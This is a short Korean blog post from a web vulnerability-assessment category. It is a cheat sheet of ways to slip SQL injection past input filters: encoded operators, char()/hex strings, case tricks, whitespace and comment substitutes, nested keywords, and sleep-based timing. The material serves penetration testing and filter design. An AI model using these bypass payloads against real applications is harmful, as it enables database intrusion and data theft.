DoR@Hee의 끄적끄적

sql 인젝션 우회 기법 본문

취약점 진단/WEB

sql 인젝션 우회 기법

DoR@Hee 2019. 5. 5. 23:30

1. or and 구문을 필터링 하고 있을 경우

    - url 인코딩 문자인 %로 우회 

        - and >> %26%26, &&

        - or >> %7C%7C, || 

 

2. 단순 문자열 필터링인 경우 - preg_match 

    - php 필터링 함수인 preg_match를 사용할 때 char, hex값을 이용한다

    - 단 preg_match 정규식을 표현 하고 있을 때 i를 안썻다면 대소문자 구분을 안하기 때문에 "AdMin" 이런식으로 사        용이 가능하다

        - char(97,100,109,105,110)

        - char(0x61646D696E)

 

2. 단순 문자열 필터링인 경우 - ereg, eregi

    - 대소문자 구분을 안하기 때문에 대소문자를 이용해 우회 

    ex) aDmin

 

3. = 우회

    - like >> 1 like 1 

    - instr >> instr(1, 1); INSTR('foobarbar', 'bar'); INSTR('foobarbar', 'bar');

 

4. substr 등 문자열을 자르는 함수 우회

    - substr("abc",1,1)='a' 결과 1(참)

    - substring("abc",1,1)='a' 결과 1(참)

    - mid("abc",1,1)='a' 결과 1(참)

    - left("abc",1)='a' 결과 1 참 (왼쪽부터)

    - right("abc",1)='c' 결과 1 참 (오른쪽부터)

    - right(left(‘abc’,1),1)='a' 결과 1 참(substr 함수와 동일)

 

5. ascii 함수 우회

    - hex('admin')

    - ord()

 

6. if 함수 우회

    - coalesce((리턴 값), 변환 값)

    - sleep(시간지연 함수)

    - 만약 error 기반일 경우 에러를 이용 ex) (select 1 union select 2)

 

7. 공백 우회

    - %0a 

    - %0b

    - %0c

    - %0d

    - %a0

    - + 

    - /**/ >> 다중 라인 주석

 

8. 주석 우회

    - %00;

 

9. replace 우회

    - admin 이라는 문자열을 공백으로 필터링 하고 있는 경우

    - adadminmin

 

10. 0,1 등 숫자 

    - '!' = '!' ture

    - '!' = '@' false

 

 

'취약점 진단 > WEB' 카테고리의 다른 글

mysql load_file을 이용한 sql Injection  (0) 2019.05.06
sql 문자열 결합 방법  (0) 2019.05.05
SQL Injection 종류  (0) 2019.04.27
mysql - information_schema  (0) 2019.03.26
Blind Sql Injection -값 길이, 값 가져오기  (0) 2019.03.25
Comments